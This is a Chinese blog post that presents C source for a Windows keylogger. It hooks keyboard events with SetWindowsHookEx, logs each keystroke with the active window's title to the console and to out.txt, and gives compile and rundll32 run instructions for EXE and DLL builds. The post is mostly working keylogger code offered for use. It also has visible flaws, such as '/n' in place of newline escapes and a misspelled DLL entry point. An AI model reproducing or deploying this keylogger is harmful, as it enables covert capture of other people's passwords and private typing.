键盘记录器 --- hook keboard event handling

/*
file:xx.c
键盘记录器
compile: mingw-gcc xx.c -o a.exe
test: 以管理者权限,运行a.exe

当我总结这段文字的时候,cmd 显示我的击键记录,
被监控的感觉真好!!

注记:必须以管理者权限,否则只能监控对话框本身。某些书上说
只能以DLL方式运行,我可是以exe方式运行的!!看来不能尽信书,有些书的作者实在是不负责:大段代码一贴,连他本人都觉得难看。

注记2: 本程序也能以DLL方式,不过CMD不显示,击键结果
在out.txt中
compile: mingw-gcc --shared xx.c -o xx.dll
test: rundll32.exe xx.dll,DllEntry

注记3: VC6的编译命令:
CL.exe xx.c user.lib -oa.exe
CL.exe -LD xx.c

*/
#include<windows.h>
#include<stdio.h>

#define DLL __declspec(dllexport)

#if 0
#pragma data_seg(".SHAREDATA")
HHOOK hook = NULL;
#pragma data_seg()

#pragma comment(linker,"/SECTION:.SHAREDATA,RWS")
#endif

HHOOK hook = NULL;
FILE *file = NULL;


LRESULT CALLBACK kb_fn(
int code,WPARAM wparam,LPARAM lparam)
{

HWND hwnd = GetForegroundWindow();
char name[128];
GetWindowText(hwnd,name,sizeof(name));

if(code >= 0 && !(lparam &0x80000000))
{
char buf[20]=" ";
GetKeyNameText(lparam,buf,20);

printf("%s:%s/n",name,buf);

fprintf(file,"%s:%s/n",name,buf);

}
return CallNextHookEx(hook,code,wparam,lparam);
}

DLL void DllEntry(HWND hwnd,HINSTANCE hinst,LPSTR cmd,int show)
{
hook = SetWindowsHookEx(
WH_KEYBOARD,
kb_fn,
hinst,
0);

file = fopen("out.txt","w");


if(!hook)
{
fprintf(file,"hook failed/n");
}
else MessageBox(NULL,"stop","title",MB_OK);

fclose(file);

UnhookWindowsHookEx(hook);


printf("exit/n");
}

BOOL APIENTRY DLLMain(HANDLE mod,
DWORD reason,LPVOID reserved)
{
DllEntry(NULL,(HINSTANCE)mod,NULL,0);
return TRUE;
}


int PASCAL WinMain( HINSTANCE hinst,HINSTANCE hPrevInstance,LPSTR lpCmdLine,
int nCmdShow)
{
DllEntry(NULL,hinst,NULL,0);
return 0;
}

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(键盘记录器 --- hook keboard event handling)